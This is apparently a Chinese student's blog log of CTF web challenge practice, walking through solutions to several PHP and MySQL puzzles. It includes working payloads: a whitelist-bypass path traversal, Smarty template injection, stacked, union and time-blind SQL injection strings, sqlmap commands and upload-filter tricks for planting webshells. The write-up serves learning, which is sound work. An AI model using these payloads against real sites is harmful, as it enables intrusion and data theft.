刷题记录

为了备战校赛work一下(

WEEK1

[HCTF]warmup

F12查看发现source.php源码访问hint.php可以发现

flag not here, and flag in ffffllllaaaagggg

代码审计环节,接受file参数

1
include $_REQUEST['file']

可以看到白名单只有
$whitelist = ["source" => "source.php", "hint" => "hint.php"];
但是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

截断绕过白名单
payload:
?file=source.php?/../../../../ffffllllaaaagggg
因为不知道flag的具体位置所以目录穿越

[BJDCTF 2020]The mystery of ip

查看flag.php,给了一个ip。
yakit抓包更改X-Forwarded-For,有回显,ssti注入执行

执行
这是个php的模板引擎注入,使用smarty模板

1
$smarty->display("string:" . $_SERVER['HTTP_X_FORWARDED_FOR']);

所以可以用类似于php标签的形式完成注入。
{if phpinfo()}{/if}

[极客大挑战 2019] Havefun

F12看注释改参数cat=dog即可

[SUCTF 2019] EasySQL

输入数字回显全为1,其他也过滤为nonono
参考其他师傅的wp,推测后端代码为

1
SELECT $_POST['query'] || flag FROM flag;

version 1

1
2
SELECT $_POST['query'] || flag FROM flag;
SELECT *,1 || flag FROM flag;

在 SQL(结构化查询语言)中,星号(*)是一个通配符,用于表示“所有列”。这是 SQL 标准的一部分,被所有主流关系型数据库(如 MySQL、PostgreSQL、Oracle、SQL Server 等)广泛支持。
所以这里的*会选取flag表中的所有列,同时1||flag作为一个表达式列。由于*已经包含了flag列,查询结果会直接显示flag字段的内容。因此,输入*,1即可得到flag。

version2

堆叠注入

1
2
3
1;show databases;
SELECT 1;show tables; || flag FROM flag;
即为select 1 from flag; show tables;

将管道符改为连接符

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

执行三条语句即可

[强网杯 2019] 随便注

终于碰见一个可以用梭的题了吗?

1
2
sqlmap -u "http://44524922-0607-48cd-9a54-f64716701b2d.node5.buuoj.cn:81/?inject=1" --batch
sqlmap -u "http://44524922-0607-48cd-9a54-f64716701b2d.node5.buuoj.cn:81/?inject=1" --dbs --batch

并非,只能梭出来supersqli数据库,但是库里没表,感觉被骗了(
实际使用堆叠注入发现不止这个库,然后查查表

1
2
3
4
1';show databases;#
1';show tables;#
1'; show columns from `1919810931114514`;#//数字要包裹
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;(预编译指令实现读取flag列)

也可以通过更改表名获取flag

1
2
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
1' or 1 = 1 #

感谢参考师傅

1
https://zhuanlan.zhihu.com/p/545713669

[CISCN 2019 华北赛区 Day2 Web1] Hack World

fuzz测试可以sleep(5)有回显,时间盲注
基于用ascii码计算单个字符的范围限定实现注入。

1
(ascii(substr((select(flag)from(flag)),1,1))>32)

写个盲注的脚本就可以注出来了(

reflection

  1. 打了几个sql注入,最大的感受是sqlmap作为一个梭不能很好地发挥作用,实际还是要手动测试才能实现注入(也有可能是我不会用吧😭
  2. 代码审计也是很久没看了,但是白盒且短篇幅的审计还是比较好构造的
  3. php的模板注入还是第一次见,之前都打的是python的模板注入

WEEK2

[极客大挑战 2019] LoveSQL

union注入

1
2
3
4
5
1' union select 1,2,3#
1' union select 1,2,database()# //geek
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()# //geekuser,l0ve1ysq1'
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'geekuser'#表结构相同
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

[ACTF 2020] upload

一句话木马发现php被ban了,尝试phtml成功,挂马用蚁剑连了。
可能绕过后缀:php3,phtml,PHP,phphp,php%00.jpg
不过这个题目只能用phtml解析

[SUCTF 2019]CheckIn

一句话木马,检查了文件内容<?,用script短标签绕过以后发现exif_imagetype报错

1
2
exif_imagetype()读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 [exif] 函数用到了不支持的文件类型上或和[$_SERVER['HTTP_ACCEPT']]结合使用来检查浏览器是否可以显示某个指定的图像

所以要加文件头,gif文件头ascii为GIF89a。

上传成功后访问:uploads/1e833b2b9e905399ad5c0640a03817c1(目录一直没变
可以得到一个疑似可以解析的页面,但是蚁剑连不上。
传.htaccess被禁了,传.user.ini先解析shell.gif可以蚁剑直链

BUU LFI COURSE

高亮了index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/**  
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM  
*/

highlight_file(__FILE__);

if(isset($_GET['file'])) {
$str $_GET['file'];
   
include $_GET['file'];
}

接受flie参数,include路径文件
(尝试了flag.txt,flag.php结果最后是\flag
文件包含最简版~

[SWPU2019]Web4(thinking)

也是个sql注入,倒下……
点登录框没反应,yakit抓包观察回显
测试结果显示:无回显,只有报错回显1’,而1’;正常,应该是堆叠注入
堆叠注入+报错注入是盲注。
使用了sleep观察没有回显,使用了各种关键字都没什么反应,可能是过滤了吧。
然后只能狼狈地查找各位师傅的wp,发现是mysql预处理+十六进制处理。
1'; SET @a = 0x53454C45435420534C454550283529; PREPARE stmt FROM @a; EXECUTE stmt; --这个payload实现了select sleep(5)。

对不起我只好抄抄板子了,我太弱小了。
观察抓包的信息可以发现url的参数是r=Login/Login


刷题记录
https://b1ank799.github.io/2026/03/13/刷题记录/
Author
blank
Posted on
March 13, 2026
Licensed under